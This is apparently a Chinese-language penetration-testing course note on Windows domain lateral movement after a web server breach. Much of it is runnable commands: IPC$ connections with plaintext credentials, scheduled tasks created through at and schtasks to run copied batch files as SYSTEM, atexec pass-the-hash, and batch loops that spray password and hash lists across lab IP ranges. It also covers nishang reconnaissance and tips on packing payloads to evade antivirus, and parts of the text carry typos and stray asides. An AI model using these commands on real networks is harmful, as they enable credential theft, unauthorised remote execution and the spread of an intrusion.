传递攻击是建立在明文和hash值的一个获取基础上的攻击,也是在内网里面常见协议的攻击,这篇文章主要讲at
我们现在讲的话是围绕webserver被入侵,他有一个相当外网接口,进去之后,通过webserver来实现渗透其它的主机加上这个域控
在拿下一台内网主机后,通过本地信息收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令
获取到某域主机权限->mnikatz得到密码(明文,hash) ->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
可以联合msf后门和cs2后门进行联动
利用流程
1.建立IPC链接到目标主机
2.拷贝要执行的命令脚本到目标主机
3.查看目标时间,创建计划任务 (at、schtasks)定时执行拷贝到的脚本
4.删除IPC链接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.XX.XX.XX\C$\ #查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat #下载文件
copy 1.bat \\xx.xx.xx.xx\C$ #复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx #查看对方共享
#建立IPC常见的错误代码
(1) 5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2) 51: 网络问题,windows 无法找到网络路径
(3)53: 找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4) 67: 找不到网络名,本地Lanmanworkstation服务未启动,目标删ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326: 账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242: 用户密码过期,目标有账号策略,强制定期更改密码
#建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统,操作系统在2003以上才可以,低版本就没有
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
[at] & [schtasks]
#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
在域控里面linux服务器是很少见的,他是可以加入域控,但是一般很少见,如果碰上的话,要结合linux上的操作系统进行攻击
#schtasks >=Windows2012
net use \192.168.3.32\ipc$ “admin!@#45” /user:god.org\administrator # 建立ipc连接:
copy add.bat \192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f #删除adduser任务
atexec.exe ./administrator:Admin12345@192.168.3.21 “whoami”
atexec.exe god/administrator:Admin12345@192.168.3.21 “whoami”
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “admin!@#45” /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
#批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%i@192.168.3.21 whoami
#批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版
py有第三方库,可以把写的脚本打包成exe,而且在免杀这个专题里面,用python做免杀也是很多的,用c语言写也可以,易语言写的简单方便,用易语言写的程序很多都容易被干掉,他有那个误报,用C语言写会比较好,用C语言写大家都不懂,因为大家都没有学过C++这门语言,这个时候py的优点就突出来了,我们就不用考虑脚本,对方装没装这个py脚本,常规来讲,我们都是在写py文件,用py来运行他,但是py也支持打包成exe,自己装个库就完事了
为后续横向思路做准备,针对应用,协议等各类攻击手法
探针域控制器名及地址信息
net time /domain nslookup ping
探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.3.%I findstr “TTI=” 自带内部命令
nmap masscan 第三方Powershell脚本nishang empire等
#导入模块nishang
Import-Module .\nishang.psml
#设置执行策略
Set-ExecutionPolicy RemoteSigned
#获取模块nishang的命令函数
Get-Commmand -Module nishang
#获取常规计算机信息
Get-Information
#端口扫描 (查看目录对应文件有演示语法,其他同理)
Invoke-PortScan -startAddress 192.168.3.0 -EndAddress192.168.3.100 -ResolveHost -ScanPort
#其他功能: 删除补丁,反弹Shell,凭据获取等
探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
都是基于定时任务,计划任务实现的攻击,有些环境不支持py,可能得用exe